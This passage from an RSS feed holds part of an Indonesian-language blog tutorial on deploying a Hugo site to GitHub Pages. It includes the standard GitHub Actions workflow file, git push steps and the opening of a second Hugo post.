6:&lt;a href=&quot;#langkah-6&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Copy-paste kode YAML berikut ke file hugo.yaml yang sudah dibuat sebelumnya. Kita dapat menyesuaikan nama &lt;em&gt;branch&lt;/em&gt; dan versi Hugo-nya.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;hugo.yaml&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Sample workflow for building and deploying a Hugo site to GitHub Pages&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Deploy Hugo site to Pages&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;on&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# Runs on pushes targeting the default branch&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;branches&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# Allows you to run this workflow manually from the Actions tab&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;workflow_dispatch&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;permissions&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;contents&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;read&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;pages&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;write&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;id-token&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;write&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;concurrency&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;group&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;pages&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;cancel-in-progress&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Default to bash&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;defaults&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;shell&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;jobs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# Build job&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;build&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;runs-on&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ubuntu-latest&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;env&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;HUGO_VERSION&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;0.115.4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;steps&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Install Hugo CLI&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;          &lt;/span&gt;&lt;/span&gt;&lt;span&gt;wget -O ${{ runner.temp }}/hugo.deb https://github.com/gohugoio/hugo/releases/download/v${HUGO_VERSION}/hugo_extended_${HUGO_VERSION}_linux-amd64.deb \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;          &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp; sudo dpkg -i ${{ runner.temp }}/hugo.deb&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Install Dart Sass&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;sudo snap install dart-sass&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Checkout&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;uses&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;actions/checkout@v3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;with&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;          &lt;/span&gt;&lt;span&gt;submodules&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;recursive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;          &lt;/span&gt;&lt;span&gt;fetch-depth&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Setup Pages&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;pages&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;uses&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;actions/configure-pages@v3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Install Node.js dependencies&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;[[ -f package-lock.json || -f npm-shrinkwrap.json ]] &amp;amp;&amp;amp; npm ci || true&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Build with Hugo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;env&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;          &lt;/span&gt;&lt;span&gt;# For maximum backward compatibility with Hugo modules&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;          &lt;/span&gt;&lt;span&gt;HUGO_ENVIRONMENT&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;production&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;          &lt;/span&gt;&lt;span&gt;HUGO_ENV&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;production&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;          &lt;/span&gt;&lt;/span&gt;&lt;span&gt;hugo \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;--gc \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;--minify \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;--baseURL &quot;${{ steps.pages.outputs.base_url }}/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Upload artifact&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;uses&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;actions/upload-pages-artifact@v1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;with&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;          &lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;./public&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# Deployment job&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;deploy&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;github-pages&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;${{ steps.deployment.outputs.page_url }}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;runs-on&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ubuntu-latest&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;needs&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;build&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;steps&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Deploy to GitHub Pages&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;77&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;deployment&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;78&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;uses&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;actions/deploy-pages@v2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Langkah 7:&lt;a href=&quot;#langkah-7&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Commit&lt;/em&gt; perubahan barusan ke repo lokal dan jangan lupa juga &lt;em&gt;push&lt;/em&gt; ke Github.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;commit&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-m&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;menambahkan file .github/workflows/hugo.yaml&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Langkah 8:&lt;a href=&quot;#langkah-8&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Di tab “&lt;strong&gt;Actions&lt;/strong&gt;”, kita akan melihat seperti ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;792&quot; height=&quot;159&quot; src=&quot;/_astro/ss5.DRaqGlDF_Z1yyxcl.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Langkah 9:&lt;a href=&quot;#langkah-9&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kalau Github sudah selesai mem-&lt;em&gt;build&lt;/em&gt; dan men-&lt;em&gt;deploy&lt;/em&gt; website kita, warna indikator statusnya akan berubah menjadi hijau seperti ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;487&quot; height=&quot;281&quot; src=&quot;/_astro/ss6.DppvfSo1_Z1voEbp.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Langkah 10:&lt;a href=&quot;#langkah-10&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita dapat melihat &lt;em&gt;live&lt;/em&gt; website Hugo kita sudah ter-&lt;em&gt;hosting&lt;/em&gt; di Github di link “&lt;a href=&quot;https://abwildan.github.io/hugowildan.github.io/&quot; target=&quot;_blank&quot;&gt;https://abwildan.github.io/hugowildan.github.io/&lt;/a&gt;”. Artinya, siapapun sekarang bisa mengunjungi website kita!
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;607&quot; src=&quot;/_astro/sr1.BQDsfvvu_Znj1PG.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Selanjutnya, kapanpun kita mem-&lt;em&gt;push&lt;/em&gt; perubahan dari repositori lokal, Github akan nge-&lt;em&gt;rebuild&lt;/em&gt; website kita dan men-&lt;em&gt;deploy&lt;/em&gt; perubahan-perubahannya.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gohugo.io/hosting-and-deployment/hosting-on-github/&quot; target=&quot;_blank&quot;&gt;https://gohugo.io/hosting-and-deployment/hosting-on-github/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Hugo-ing (from Zero to Hero)</title><link>https://shangdi.github.io/posts/tech/hugo-ing/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/hugo-ing/</guid><description>Beginner step to start creating static-site via using Hugo.</description><pubDate>Sat, 07 Oct 2023 08:26:34 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h1&gt;Membuat Website via Hugo&lt;a href=&quot;#membuat-website-via-hugo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;section&gt;&lt;h2&gt;Pengenalan singkat tentang Hugo&lt;a href=&quot;#pengenalan-singkat-tentang-hugo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Hugo adalah 